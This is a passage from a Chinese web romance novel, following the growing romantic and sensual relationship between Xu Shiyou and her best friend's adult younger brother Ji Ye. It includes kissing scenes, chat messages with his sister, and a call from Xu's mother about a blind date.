徐诗柚动了动唇:“我……”
嗡——
手机的震动声打断了她的话。
两人下意识偏头看去,都瞥见了上面显示的“秦聿”二字。
她眉蹙起,想用空着的那只手去够桌上的手机。
手才伸出去,一只大手覆上,把她给半路截了回来,捂住弟弟嘴巴的那只手也被一把扯下——
余光里,高大的黑影覆上,光线被剥夺,脸被一双手掐着掰正回来。
下一秒,她顺势倒下,整个被压向沙发。
“季……”她瞳孔一点点放大,只来得及张嘴吐出这么个字,剩下的话语便被吞没,温热的唇舌覆上,不管不顾地袭来。
男人的吻,又凶又急,毫无章法,甚至在乱搅乱缠间磕绊到刺痛。
徐诗柚下意识便想推开,却在这个乱糟糟的吻中品出了一丝对方情绪上的不对劲。
与其说是吻,不如说,像是只受了什么刺激的小兽,在低低呜咽着,拼命寻求着安抚。
徐诗柚泄了力,即使这样被迫的承受并不太舒服,也没有推开,抵在他胸前的手逐渐往上,插入他的发间,轻柔抚顺。
大概是感受到了她的安抚和回应,身上的人冷静了些,动作逐渐放柔。
到底是有过一次经验的,不像初次般生涩,在找回自己节奏后,对方似是才品过味来自己在做什么,反而变得局促了。
他睁着两只湿漉漉的眼,不安地观察着她神色,落在唇上的吻却一点没有因此而停下,反而转为轻轻吮.啄,似在讨好。
徐诗柚被他气笑,不知道该生气还是笑他可爱。
她手滑向他耳朵,轻轻揉搓,以示安抚,他局促的动作便放开了些,眼神逐渐幽深。
只是这时,才安静不到一会的手机又开始响了。
冷静不过两分钟的人,身体明显一绷,又有要炸毛的趋势。
徐诗柚没辙,干脆改被动为主动,双腿一捞,缠上他劲瘦的腰,手圈住他脖颈用力往下带,整个迎上去加深亲吻。
被她的过分热情分扰,季野一时没空关注手机,只来得及在被她用力往下带时,双臂暗自发力,牢牢撑在她两侧,不让自己压到对方。
手臂因用力而绷紧,上面青筋蔓延,徐诗柚余光瞥见这遒劲的张力,眸色深了深。
这姿势到底不舒服,季野觉得不能尽兴,干脆就着她缠在自己身上的腿,一把捞起,改躺为坐。
突然腾空,徐诗柚惊呼出声,手抱他更紧。
才坐稳,后脑勺传来的施压又把她强硬扣了回去,唇舌再次被封上。
徐诗柚穿的裙子,本身就不太方便,又是用腿缠他,又是分腿在他身上的,动作间,早被推上去不少。
季野原本虚放在她腿侧的手,在动作间不小心触上她腿侧的肌肤,顿时触电般收回。
他似是意识到了什么,耳根红得厉害,落下来的吻没刚才实在了,多了几分羞赧。
但很快,他闭了闭眼,手又一点一点蹭回去,虚虚碰着,也不敢碰实,只是指尖能感知到她体温。
亲吻在往下走,季野被迫仰起了头,徐诗柚摸到他脖颈上绷起的青筋,指尖抚过,感受着上面的跳动,觉得分外性感。
她轻舔一口。
他声带震颤,难抑地从喉间
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溢出闷哼。
“姐姐……”
“不喜欢?”感受到他的一点躲避之意,徐诗柚掀眼观察他反应。
他头偏向一边,抿着唇,也不说喜欢还是不喜欢,只是对着她的耳朵红到快滴血。
徐诗柚轻笑,继续又亲了亲他的喉结,手顺着肩抚摸到腰,指尖找准位置,探入。
到底年轻气盛,身体滚烫得不行,她指尖微凉,触上瞬间便让他气息失了控。
手指再次抚过那块垒分明的沟壑,感受到掌心下蓬勃的心跳,她实在好奇,蹭着他耳廓轻声问:“平时不都在上课吗,怎么练得这么好……”
尽管不是第一次了,季野还是有些难以适应。
他绷紧着肌肉,呼吸错乱地应着:“有锻炼……”
“哦~打篮球?”她像手弹钢琴一样在他身上乱点。
手擦过某处时,感知到身下的人整个一绷,轻颤了下,掌在她腰间的手似蠢蠢欲动,又被强行抑住。
他回答得断断续续,伴随着紊乱的呼吸声:“不是……学校外有…有健身房……”
他不适,他难耐,却并不想拒绝。
上次是没有心理准备,这次他自认为已经提高心理阈值了,不会再轻易应激。
直到徐诗柚的手一路往下,尾指顺着裤腰边缘探进去半截,他瞬间大脑空白,再次身体比大脑反应更快地按住了她。
“别……”
话才出口,迟钝的大脑跟上,已经开始后悔了。
阻挡她行动的手立马泄了力。
可徐诗柚是第二次被拒绝了。
本就是试探,再次被拒绝,她没有一秒犹豫地收回了手,规规矩矩的,只亲吻,不上手。
季野实在是没有太多这样亲密的经验,身体又敏感,每次被她开发新地图,下意识都是先闪避,其实并不是真想拒绝她。
另外就是,也有点别的考量……
他混沌的大脑在反复纠结考量如何再重新接上刚才拒绝了的事。
但徐诗柚之后却再没有过太越界的举动了,他欲言又止几次,还是不好意思主动提,怕显得太过孟浪。
没能重新等来更深入的亲密,他有些沮丧地把这懊恼的情绪发泄在这吻上,手不再虚搭在她身上,而是紧紧往自己怀里扣。
安静的客厅里只有细细碎碎的亲吻声,以及沙发咯吱咯吱被两人挤压的噪音。
差不多时,徐诗柚捻着他还在发烫的耳朵,贴着他耳廓轻蹭:“喝酒了不能开车,等会给你打辆车送回去?”
这几乎等同于赶人了,才刚占完他便宜,还真是毫不客气。
季野气息还是乱的,眼中的情.欲都尚未褪去就收到了逐客令,他不乐意,却乖顺,头埋进她颈窝,闷声应着:“嗯…”
总不能说想留下吧,显得他很急.色似的。
徐诗柚从他身上支起,下巴往某个方向点了下:“卫生间知道在哪吧?”
季野也从她身上抬起头来,顺着她目光疑惑看去。
徐诗柚勾着笑,视线下放:“自己解决下?”
听懂了意思,季野“腾”地脸烧得更红了,几乎是落荒而逃地进了卫生间。
徐诗柚笑着收回目光,整理了下自己裙摆,又躺回沙发上放空。
这事难受的又不是只有男方,她也挺难受的好吧。
她感受了下腿心,唉声叹气。
重新捞过手机,无视那两通未接电话,点开季薇的头像。
【你弟喝了点酒,我给他打辆车送回去,车我下次再给你开过去。】
季薇:【我说呢,送个人送这么久……过分了啊,不让我喝,你俩倒喝上了?!】
徐诗柚:【怪谁呢?】
季薇:【不说这个,说点正事。】
【嗯?】
【你俩这是,发展到什么程度了?】
【什么什么程度?】
【还装傻?你两在电影院搞那么多小动作,还说悄悄话,当我瞎呢!我难道是你们play中的一环吗!!!】
【……】
【那傻小子,在电影院的时候,眼睛都快粘你身上了,张口喊的还是姐姐,咦~鸡皮疙瘩都快掉一地了。】
季薇发来一个搓掉一层鸡皮疙瘩的恶寒表情包。
【他都没这么喊过我你敢信?以前让他喊我姐姐,他还嫌恶心!那现在这个对着你喊姐姐的人是谁,我请问呢??】
【我可以耳聋心盲,但你们不能真当我瞎啊!】
【快说!到底什么进度了!】
26. 学习
徐诗柚含糊其辞:【没什么,就熟了点……】
季薇:【就这?】
徐诗柚:【不然呢……】
季薇:【至少牵个手,啵个嘴什么的吧?】
徐诗柚无语,就算有,这是能和人亲姐谈的吗?
她拒不承认,还在模棱两可:【……那是你弟。】
季薇:【那不也是个男人?以你的手段,再看他那状态,我都怀疑我弟是不是都已经被你吃干抹净了!】
徐诗柚还没干成这事,说这话时就硬气多了:【胡说什么!!我是那种人吗!!】
【再说了,不是你说他还是个孩子的吗,你不相信我,也总该相信自己弟弟吧?】
季薇:【哈?我就开个玩笑而已,你不会当真了吧?】
【相信我弟?就他那看你那两眼冒绿光的状态,我怕他都恨不得自己主动爬床了!】
徐诗柚:【……】
季薇:【你别给我扯些有的没的,你就说你对我弟到底什么想法吧?】
盯着信息半晌,徐诗柚突然就有些泄气了。
她其实也说不清自己对季野到底什么想法。
非要说的话,也许就是见色起意?毕竟弟弟长了副好皮囊,还是完全踩在她审美上的那种。
除了秦聿,她没对谁这么一眼钟情过。
但也仅仅只是有点心动而已,没有真的考虑过要发展到什么程度。
也许只是情感挫败都走不出来的这大半年里,突然出现了这么个人,能让自己的一潭死水荡出些许涟漪,她才如同捉到了根稻草般,下意识想要靠近。
她向来随性,感情只听从内心本能,也尊重自己的欲.望,不怎么考虑后果。
当初喜欢秦聿,就一根筋地往上凑,哪怕像个卑微舔狗她也觉得自己只是为爱勇敢争取,不丢脸。
虽然现实给了她一巴掌,告诉她,舔狗就是舔狗,她这不叫为爱勇敢,叫不自爱。
她叹了口气,问:【我说,你都不怕我万一撩了你弟又不负责,还玩弄他感情吗?】
季薇冠冕堂皇:【那就让他吃点爱情的苦!以后就不会随便被你这种渣女骗了。】
徐诗柚:【……有你这么当姐的吗?还有,骂谁渣呢?】
又试探:【我要真伤了他,你真不会找我算账?】
毕竟多年好友,季薇还是很了解她的,闻言立马警惕:【你干嘛了?你背对着我对我弟干嘛了!!(惊恐)还是你们刚才干嘛了!(惊恐)总不能是现在在干嘛吧!!(惊恐惊恐)】
徐诗柚:【……】
越说越离谱。
确实干了点什么的某人心虚着回:【胡说什么?什么也没干,我是那种人吗?】
季薇:【你是啊!】
徐诗柚:【……】
所幸季薇没追问下去,很快偏回了正题:【你要听真的假的?】
徐诗柚不假思索:【假的!】
季薇:【滚!】
季薇:【拜托,他成年了,不是三四岁小孩,有自己独立思考和判断的能力,对方是不是认真他会不知道?】
【如果他因此被渣,被伤害,那也是他自己的选择,为此吃的苦也是他活该受着的。】
说完,她还特扎心地补了句:【像你,你是真不知道秦聿对你的行为是挺渣的吗?他就是仗着你的喜欢有恃无恐,冠冕堂皇,但你不也选择睁一只眼闭一只眼,上赶着给他当舔狗吗?】
徐诗柚:【……】
说话就说话,干嘛戳她肺管子!
季薇:【吃一堑长一智,往好点的方面想,至少他以后不会再轻易被人玩弄感情了不是?】
【让他栽你身上,也总比栽别的渣女身上强。】
【前提是,不管你们最后怎样,都不能影响我俩的感情!】
季薇洋洋洒洒一堆字,徐诗柚都惊叹她这心态了,也不知道该说她看得开还是心大。
卫生间传来门锁打开的声音,徐诗柚放下手机,循声望去。
季野从里面走出,表情稍显不自然,脸上还浮着层让人浮想联翩的薄红,发鬓上都是湿的,沾湿的发尾粘些许在眉眼上,像只湿漉漉的无措小狗。
看着实在是……秀色可餐。
她起身过去,帮他把粘在额头眉眼的发丝拨开,勾着眼尾问他:“好了?”
一想到自己刚才在卫生间想着她做的事,季野耳根又开始发烫了。
他撇开眼,不敢看她,从鼻尖很轻地“嗯”出一声。
徐诗柚笑意更深。
完了,她真的好喜欢他这个样子。
不管在闺蜜面前怎么大言不惭,理智思考,一看到弟弟这像被她欺负坏的模样,她就想把脑子丢了。
去她的道德!
还是赶紧送走吧,再下去她不敢保证自己会不会兽性大发!
“我给你喊了车……送你下去?”
“不用。”季野转过脸来,看她穿得单薄的裙衫,“夜里凉,也不安全,姐姐就别跟着下去了。”
徐诗柚也不是那么粘粘糊糊的人,微微颔首:“行。”
她照旧把他送到门口。
季野眼皮耷拉着,视线却粘在她身上,好像那呜呜咽咽的小狗,留恋着什么。
他们站在门口无言对望许久。
说着要走,脚是一步不挪的。
徐诗柚有些受不住他这小狗一般的眼神,她摸了摸鼻子,往前一步。
抬手,揪下他衣领,踮起脚,在他脸侧亲了一口:“弟弟晚安。”
季野全程木木的,任由她动作,直到领口的束缚被松开,才回过神来般,摸了摸自己的脸。
狭长的眼尾逐渐上扬,终于动了,“嗯,姐姐晚安。”
……
-
季野不知道自己是怎么回到家的,睁着眼盯了一晚上天花板,在想两人现在算什么关系。
但之后的几天,徐诗柚依旧没主动联系过他,他又开始陷入自我怀疑。
等到周四晚上,寝室都在熬夜补设计作业,只有他和林千早早完成,上了床。
季野在反复刷新徐诗柚的朋友圈,除了发过几个近期作品外,就没有其他了。
点进她社交平台,也没有在直播。
怎么感觉姐姐回家后,都不怎么理他了……
不过想想也是,两人就不是什么需要天天联系的关系。
之前还是他自己厚着脸皮要上门给她做饭,才换来点交集。
但他这几天也没有再主动上门了,也不知道在较什么劲,就想知道,如果他不主动,姐姐会不会找他。
事实证明,姐姐就是没有心的!
他躺在床上,反复拉聊天记录。
对面林千的床上忽然传来不可言喻的声响,那女声高昂,震得宿舍其他几人都是一激灵。
补作业补得眼睛都快冒火的陈旭先火了,操起靠枕就往上丢去。
“操啊,老子们在熬夜,你在上面捣鼓手工活呢?”
孟嘉信头也没抬,眼睛始终在电脑屏幕上:“请戴上耳机,文明看片,勿乱军心。”
林千自然不可能当众做那什么,就是最近压力有点大,又憋久了有点想法,想看点东西纾解下,他是戴了耳机的,不过好像没连接上,一时不察给公放了。
他手忙脚乱地按了暂停,确认连接好后才再次点开播放,懒洋洋地躺回去继续欣赏。
季野扭头看去。
忽然就想起那天亲吻的时候,姐姐往她裤腰带下探的手……
他不是不知道,每次亲密的时候,徐诗柚表现出的攻击性都挺强的……
又想起她买的“买六送一”,如果说一开始还怀疑她是不是在暗示些什么,那么在摊牌醉酒的事后,季野几乎可以确定了。
但好像每次有往那种意向发展的时候,他都因为招架不住,总是身体比大脑快地给拒绝了。
再加上,他没有经验,其实还是有点担心会让她……
他想了又想
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,似是想通了什么。
猛然从床上坐起,朝对面的林千又看去一眼,林千沉浸在自己的世界中,两耳不闻事,自然也注意不到他的视线。
他低头打字。
【你那什么,发我看下……】
视频上方弹出消息,林千被迫退出去,看到是舍友发的,茫然扭头,用眼神询问。
【什么那什么?】
蠢!
季野对上他视线一秒,咬牙低下。
【就你看的那些啊,“学习资料”什么的……】
他说得委婉,林千反应了几秒他说的“学习资料”是个什么玩意,然后更震惊了,手指飞快按键。
【卧槽!我在做梦吗?你什么时候也会看这个了?每次宿舍大家一起看的时候你不还挺嫌弃的?还以为你都没那方面欲.求呢……】
【少废话,给不给?】
林千一脸欣慰地给他发去:【啧啧,你小子,闷骚啊?】
季野:【……】
林千:【有需求了?】
季野:【……滚。】
季野躺回去,安静摸出耳机戴上。
他以前也不是完全没看过,高中的时候,男孩子们就对那方面表现出异常的兴趣了,也会互相聊到些。
季野也被拉着看过几次,但实在不能理解那样白花花的两具纠缠在一起的有什么好看,长得也毫无观赏性。
这些东西对他唯一的启蒙大概就是,从此对记忆里的姐姐有了更具象的幻想。
是他整个青春期,隐秘的,不可言说的秘密。
一想到多年的渴望正朝着现实发展,季野就觉浑身气血都在不可控地往下涌。
不知道今晚第几次后悔,为什么每次手都这么不听话?
挡什么挡!
有什么是姐姐不能碰的!
-
徐诗柚这一周忙得都没空想其他。
出了几次作品后,收获了不少客户的主动推荐,她排单都快排到明年去了。
怕忙不完,她停了接单,直播也改成了边工作边唠嗑的日常,不过后台开始有很多粉丝问她收不收徒,能不能发什么什么教程之类的,所以她偶尔也会抽空,拍成教程发出去。
连她作为教学内容原创设计的角色,也有人问她出不出。
她以前没怎么在网上认真经营过这个手工账号,只是偶尔兴起会发些教程,或是作品。
这次失业捡起来玩玩,没想到阴差阳错给做成了不小的生意。
说起来还是多亏了孟嘉信前期的推荐,给她带来了最初的一波流量。
不过真要追究起来,好像还是因为季野,这么说来,是弟弟旺她财才对。
说起季野,她好像近一周都没见过他了。
之前还会借着试菜跑来她这刷刷存在感,自从摊牌装醉的事后,反倒不见人了,微信上也没再聊过。
徐诗柚是因为忙,也因为还没理清自己心里的想法,干脆就先搁置了,季野那边的想法,她暂时没空琢磨。
而且她也不是那种没事喜欢主动发信息的人,比起隔着屏幕不痛不痒地聊,她还是更喜欢真刀真枪的实战。
熬到周日傍晚的时候,她把刚剪辑好的教程发上平台,就意外收到了连日不见的人发来了消息。
一条,没什么营养,且毫无内容的消息。
【姐姐,在干嘛?】
但是,就这么条没营养的信息,徐诗柚看到的刹那便不自觉扬起了唇角。
上午和薇薇打视频的时候,她就提了一嘴晚上有饭局,不回家吃饭来着,这个时间,季野不在家吃饭的话,应该回学校了吧。
她回:【刚忙完。你呢,回学校了吗?】
小狗:【没。】
徐诗柚有些意外:【还在家?】
小狗:【不是。】
徐诗柚:【那是?】
过了几秒,那边才慢慢回过来一条。
小狗:【姐姐,我在你楼下,能上去吗?】
27. 蓄意
瞧见他的回复,徐诗柚第一反应就是跑去阳台往下看。
她所在的楼层不高,他的身形又出挑,她一眼便辨出来了。
季野就站在昏黄的路灯下,似是有所感应,在她往下看的同时,也恰巧抬起了头,两人隔着遥远的距离目光接上。
徐诗柚看见他唇角逐渐上扬的弧度。
他笑了,一种很安静的笑,嘴角弯弯,眉眼舒展,像是冬日午后晒在棉被上的太阳。他就静静站在那,目光穿过夜色,温柔地落在她身上。
徐诗柚却又觉得那视线是滚烫的,热烈的。
路灯勾勒出他的剪影,他像是自带发光源,在天色昏暗的傍晚,直直撞击她心房。
心跳仿佛都漏跳了半拍。
她慌乱低头,打字:【站那傻笑什么…还不上来?】
……
季野到门口的时候,徐诗柚正好过来开门。
看见他人就站在门外时,还是有些意外。毕竟之前每次过来,他都会先发消息来问的,她同意了才会跑来,而不会这么……贸然?
不过徐诗柚并不反感。
她下意识地往下扫,并没有看到熟悉的超市购物袋。
居然没有。
嗯?这回不是来做饭的?
察觉到她视线,季野很快明白过来,解释:“过来太急了,没来得及买菜。”
旋即把手上包装好的纸盒递过去:“只买了这个。”
徐诗柚接过,一眼便认出了这是乐滋家的泡芙,眼睛亮了下,惊喜抬头:“你怎么……”
“路过,顺手买的。”
徐诗柚超爱吃这家的泡芙,不过这家店只有西街那边才有,外卖也叫不到,想吃的话,要开车去挺远的地方买的,来回起码得一小时。
路过顺手买的这个说辞明显不太可靠。
她领会,没有拆穿,眼睛弯成了弦月,平时成熟的女性气场此刻因着一盒小小的泡芙,开心得像个小女孩。
“你知道我喜欢吃这个?你姐说的?”
季野摸摸鼻子,含糊地“嗯”了声,其实是很久以前,在季薇的朋友圈提到过,他一直记着。
乐兹家的泡芙有点小贵,二三十多一个,但味道确实是其它家的泡芙比不过的,徐诗柚爱吃的甜食不多,唯独这一口,是每次经过都必买。
不过她也有好久没怎么往西街那边去了,自然也许久没吃上。
站门口半天,徐诗柚才想起侧身让他进来,季野熟练地脱鞋,从鞋柜里拿出那双唯一的男士拖鞋换上。
她提着泡芙往厨房走,打算放冰箱里先存着,留作今晚的餐后甜点。
边走边念叨:“你怎么突然跑来了也不说?冰箱好像没什么吃的了,今晚要不叫外卖吧?我看看啊……”
季野跟着她进了厨房。
她打开冰箱,果然空荡荡的:“就剩些鸡蛋火腿菌菇之类的了,还是叫……”
她话没说完,便感觉肩上一沉。
季野下巴搭在她肩上,有些慢半拍地回答着她前面随口念叨的问题:“我要是说,是因为想你……姐姐会觉得困扰吗?”
徐诗柚一时征然。
或许是她愣神的空隙拉得太久,又或许也没多久,等她想张嘴的时候,一只手从旁伸过,从冰箱里拿出一盒鸡蛋,季野已经很自然地跳过了刚才的问题:“吃面吧?我记得冷冻层还有虾,弄个海鲜面什么的…可以吗,姐姐?”
季野已经从她肩上起来,徐诗柚回过神来,怔怔然胡乱点头:“啊,好,行……”
季野就这么从冰箱里熟练地找到所需,又熟练地开始处理起食材,徐诗柚都觉得哪里怪怪的,他的行为自然得像在家里。
她突然有种地盘正被一点点侵蚀的荒谬感。
她看他忙碌的背影,又问:“你周一不是早八吗,不回学校?”
季野把冻虾拿到水下冲洗解冻:“没事,我晚点回去。”
“哦……”
“姐姐。”他忽然唤她一声。
“嗯?”
“我忘戴围裙了,你能帮我一下吗?”他举着两只已经碰过食材又湿漉漉的手,有些为难地看她。
“啊……”徐诗柚缓慢眨了下眼,下意识便用目光去寻围裙。
她之前放哪的来着?
季野往某处抬了抬下巴示意:“姐姐,那里面呢。”
徐诗柚顺着他目光看去,有些尴尬地挠了挠脸,什么时候家里的东西他比自己还清楚了?
季野长得高,徐诗柚给他戴围裙不方便,但她还没把为难表现出来,弟弟已经在她面前弯腰低下了头,和她保持在一个视线齐平的水平。
黑黑的小狗脑袋就这么乖巧地凑到她跟前,徐诗柚愣神片刻,都有点想上手薅两把了。
她把围裙套上,再给他系好。
季野忽然侧过脸来:“好了吗?”
她手还绕在他脖子后,他这一侧脸,便和她在极近的距离脸对上脸,呼吸都交错到了一块。
徐诗柚对上他直勾勾望来的眼神,稍有些恍神,着实是因为对方的目光里,让她感受到了一点陌生的侵略感。
四目相对几秒,季野的视线开始往下移,落在她唇上,又定了几秒,低唤出声:“姐姐……”
带着某种渴求,唇在一点点向她靠近。
徐诗柚猛一回神,一掌拍向他额头,命令道:“转过来,给你系后面。”
季野猝然挨了下,嗷出声,用手背蹭了蹭被拍红的地方,瘪了瘪嘴,露出几分无辜神色。
徐诗柚强压住嘴角,忍住没笑出声,又瞪着眼,凶巴巴地抬了抬下巴示意,季野果然听话地转过身去。
她努力平缓了下不正常的心跳,不对着他那张迷惑性极强的皮囊后,总算没那么容易受蛊惑了。
不过下一秒,她发现她错了。
季野乖乖地挺直了腰背配合她,徐诗柚抬头的时候,视线瞬间被他宽阔的肩背占据了所有视野,像一堵墙站在那。
平时看着挺清瘦的,但这么近距离下,徐诗柚能清晰看到他肩胛骨的轮廓,并不夸张,却很结实,宽肩窄腰,完美的倒三角身材。
虽然天气冷穿的衣服厚看不出什么,但徐诗柚可是上过手的人,很自然就联想到了一些曾经的触感。
就这么看着,都仿佛能透过布料,感受到他背部肌肉微微隆起的形状。
还有那些结实,且块垒分明的腹肌。
他那天说,他平时是有锻炼的来着……
她想到脸有些热,手指也发烫,还有些痒痒的,想戳一下他的背肌,看看会不会又是一碰就脸红。
但她忍住了,总不能时刻把自己摆在个流氓的位置。
“好了。”她最后收紧了下系带,拍拍他示意。
果然很紧实,拍着都是硬硬的。
自知在厨房也帮不上什么忙,也为了远离男.色,徐诗柚给他系完便果断退出了厨房。
她到沙发上随手点开了电视,听着身后厨房不时传来锅铲碰撞的
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叮当声,混着热油下锅的滋啦声,空气中飘过蒜瓣下油的香味,水烧咕噜咕噜冒泡的声音,向来冷清的屋子霎时漾开了暖洋洋的烟火气。
不得不说,季野现在的厨艺已经是她望尘莫及的了,她也不知道他是怎么靠这么点食材,做出碗这么鲜味十足的海鲜面的,总之吃得很称心。
晚饭后,照例碗也是季野刷的,不是她懒,是他不让她动手,每次他上门,她都只需要动嘴就行了。
等刷完出来,他又像条大狗一样黏上来,从身后抱她,靠在她颈侧,懒洋洋蹭着:“姐姐,你忙吗?不忙的话,我们一起看电影吧?”
不知道他突然哪来的兴致…而且他今天也主动得诡异……
见她目露困惑,他又解释:“之前都是你和姐看,顺便带上我的,这次我想,只和你两个人看。”
徐诗柚并不是困惑他为什么突然要看电影,但也没多问。
像在季薇家看电影一样,他们也关了灯,一起窝在沙发上,拿了小毯子盖着。
电影开始十分钟后,徐诗柚想起了她的美味小泡芙,起身要去拿,又被季野摁下,替她去冰箱里取出来。
纸盒里整整齐齐地排了6个,她随意挑了个,用纸袋装着吃。
放了这么会,泡芙外皮依旧薄脆,带着焦糖色的光泽,由于在冰箱里冷藏了会,一口咬下,冰淇淋的口感,冰凉丝滑的奶油混着淡淡的香草味在舌尖化开,好吃到让人忍不住眯了眼,她爱死这口甜腻了。
里面的酱料很足,一□□开的程度,季野看她一口下去,唇角都沾满了淡黄色的馅料,上唇也沾了点,像长了胡子似的。
他有些想笑。
看他不看电影而盯着自己,徐诗柚以为他也想吃,示意他也拿一个。
但季野只是摇头。
总不会是想吃她的这个吧?
他买的六个口味都不一样,她这个是香草味的,难道是喜欢这个口味?
她考虑了下,转向自己没咬过的半边,试问:“尝一口?”
季野的视线却始终停留在她唇外沾着的那点奶油上。
“能尝吗?”他长睫垂下,问。
“你不嫌弃的话……?”
她的奶茶他都直接喝了,不至于嫌弃吧。
他确实不嫌弃,且不嫌弃过了头。
在他视线落下,脑袋靠近的前一秒,徐诗柚已经察觉出了他的意图,只是还没来得及反应,已经中计了。
“嗯。”他轻声应着,拨开她举到跟前的手,倾身向前,舔在了她嘴角处。
濡湿的触感传来,说不上意外。
唇角沾着的那点奶油,被他用舌尖卷掉,含进了嘴里。
“唔,甜……”他尝完,离开她的唇一点,两人依旧离得很近,不过一低头就能吻上的距离。
长睫在颤动,他观察着她反应,没见她抗拒,试探性又侧过头来,在她唇上又亲了一口,舌尖把她上唇的奶油也卷掉。
眼睫轻抬,再观察,直到反复亲吻确认不会被拒绝后,大掌落在她脑后,彻底吻了下去。
在完全沉于男.色之前,徐诗柚趁着换气给自己争取了点喘息的空间,她手轻轻撑在他胸前,丢出疑惑:“不是,你,是真的想来看电影的吗……”
回答他的是季野再次凑近的眉眼,以及,他眼角眉梢都挂着的,意味不明的笑意。
狡黠得,像只狐狸。
徐诗柚懵然。
嗯?
……她的小狗呢?
28. 主动
电影当然不会是主题。
它可以是铺垫,是前.戏,毕竟总要有那么一个开启的契机。
更何况是处于暧昧期的男女,就少有能完整看下来的。
在徐诗柚慢慢品过味来时,她意识到自己手上那奶油满到快溢出的泡芙,也许将会是个障碍。
她举起,推了推对方的肩,含糊不清地出声:“等下…会沾到奶油……”
季野涣散的瞳孔逐渐聚焦,稍稍退开些,顿了下,目光移向她高举的手,紧接着,伸手直接夺过那装着泡芙的袋子,随手裹起便丢向茶几。
他长臂一捞,把她抱到了腿上,不等她小口喘气,便抬起她的下巴,将殷红的唇瓣再次含入唇间,舌尖顺势抵入,勾绕住她的舌。
男人在这方面大抵都天赋异禀,不过两次,徐诗柚已经察觉不出他吻技的生涩了。
他亲人的力道渐重,托着她的下巴往上抬,从脖颈往下吻去,拇指温柔地摩挲在她的下巴处。
反复的吻落在颈侧,几乎要把那片莹白的肌肤吮.出红印,但也只到这,始终克制着没往下。
徐诗柚上身穿的衣服不是很长,随着她抬臂搂抱的扭动,上衣跟着往上带,露出一截细腻的皮肤,恰好落在季野掌在她腰间的手。
他顷刻间似被烫到,手指瑟缩着蜷起,掌握主动权的强势攻势都骤然退了几分。
虽然这次是他主动的,但来前,他想的始终是,不管这次徐诗柚想碰他哪里,他都不会拒绝。
而徐诗柚,因着被拒绝过两次,怕自己总是进攻性这么强,会吓着弟弟,把她当什么财狼虎豹的就不好了。
所以这次,她亲吻得规规矩矩的,手环在他肩上,任由弟弟主动,她只配合。
以往两次,都是她更主动,这次,她从季野身上感受到了明显来自男人的侵略性,这让她有些新奇。
季野本身就高,又不是瘦弱的类型,两人本就存在着体型上的差异,而这种差距,在对方一旦想要掌握主动权的时候,就尤为显著。
徐诗柚的精神是亢奋的,她喜欢弟弟被她掌控,但被年下掌控好像也别有一番滋味。
只是季野在她腰间蠢蠢欲动的手,始终克制着没有更多动作,这也让她有点搞不懂他的意图。
到底是想浅尝止渴,还是深入交流?
她摸不准,只能按兵不动。
他粗重滚.烫的呼吸喷洒在她颈侧,像带了电流,引得她不由瑟缩,染了情/欲的嗓音也不复平日清朗。
“姐姐……”
他埋首在她颈窝,尾调里的微颤带着点不可言说的渴望。
随之而来的,是他抬起了腰腹,轻轻往上一下,带着些许隐秘的羞耻,明显地放不开。
如若不是那趋势骇人地明显,徐诗柚可能都察觉不出他的想法。
“嗯?”她侧过脸来,含笑亲吻他烫得快熟透的耳朵,假装不知,“怎么?”
明明之前都不让她碰来着……
他收紧了搭在她腰间的手,眼底欲念沉沉,声音低哑:“姐姐知道的……”
说话间,他忍住羞耻心,重重地故技重施,彻底向她敞露自己的欲.望。
做完这,他自己倒像是没脸见人了一样,脸深深地埋入她脖颈,呼吸滚.烫急促。
徐诗柚骤然被这一抖,身体如触电般刺/激,尾椎骨蔓延上来的酥麻感让她丧失了所有力气,软成了一滩水,赖趴在他身上。
嘴还死硬撑着,为了报被他两次拒绝的仇:“不知道诶……弟弟想要什么~?”
她坏心起,也不知道谁折磨谁,手指在他后颈打着转,忍着痒意坚持逗他,“弟弟不说,我怎么知道?”
“……”
季野被她磨死了,泄愤似的在她锁骨处轻咬一口:“姐姐,你好烦啊……”
“骂我?”
“不是,我……”
忽的一阵语音通话声响起,不识相得让人心生不悦。
徐诗柚随意瞥了眼屏幕,下一秒,吓得腰挺起,也不软了,伸手就去推身上的人。
被她骤然推了下,季野也偏头看去,顿时两人都活像偷.情被抓坚般,手忙脚乱地分开来。
徐诗柚快速清了清嗓子,捞过手机按下接通键,眼神还在飘忽,气势整个弱了下去:“妈……”
说话的同时,望向季野,季野同样狼狈地慌乱抄起一个靠枕,挡在了某处,大气都不敢喘。
“干什么呢,半天才接电话?”周女士的声音伴随着隐隐的电视声从电话那头传来。
“没啊,手机放房间里了,刚听见。”徐诗柚平复着心跳,手心虚地勾缠着发尾,随意扯了个谎。
又问:“怎么突然打电话来?有事?”
“没事就不能给你打电话了?”周女士一听这话就不乐意了。
“就是问问你今年春节还回来不?”
说到这个,徐诗柚顿生愧疚,她有两年春节没回家了。
前年是因为想陪秦聿,去年的那时候,则是她和秦聿的矛盾爆发最严重的时候,闹得不是很愉快,她那会已经在筹谋着辞职的事。
周女士则是在知道她的想法后,骂了她好一顿,觉得她辞掉那么好的工作是发神经,她左右都顾不好,也不想回家面对家里人的失望和指责,就也没回去。
但她做了决定的事十头牛都拉不回来。
后来她还是按计划辞了,也因此和周女士冷战了好一段时间。
这场冷战还是直到她在A城稳定下来后才结束的。
如今她干了才半年就又辞职,实在没法说出口。
但年还是要回:“回的,不过现在不也才12月嘛……”
“不早了,要回就赶紧订票,别到时候又说抢不到票。”周女士没在这上面多说,很快又拐到了万年不变的话题上,“对了,妈有个朋友的儿子也在A城,你去见见吧。”
话题跳得太快,徐诗柚手绕发尾的动作一滞,下意识先抬眸望向了和她各坐一端的季野。
客厅很安静,即使不开扩音,电话那头的声音也能相当清晰地传出来。
季野自然听见了,但他没看她,长睫颤了颤,安静地垂了下去。
徐诗柚眉心拢紧:“怎么突然说这个……”
“哪突然了?之前不都给你提过好几次了?你也老大不小了,该谈个了。”
“我也没很大吧……”徐诗柚无语。
“那你们这些年轻人,结个婚不还得谈个恋爱互相了解什么的,那结婚到生子,不用时间的吗?现在不谈,难道等三十多了才来谈?”
徐诗柚觉得三十再来谈也不是不行,但她知道这么说只会惹恼这位女士,只好选择闭嘴。
“前两年还跟我说有在考虑的对象,我想着你有自己的节奏,也不过多干涉你,结果呢,让你带人来看看,你又说吹了。”
周女士说的那人是秦聿,徐诗柚那会是有想着等和秦聿确定关系后再告诉母亲的,那会她还一厢情愿认为,两人迟早会定下来。
只是后来,终归是她自作多情。
对对方而言,自己不过是个不用费事,可有可无的床伴,没有她,也会有别人。
徐诗柚听得头皮发麻,尤其是周女士嗓门还大,她直觉地不想让季野听见这些话。
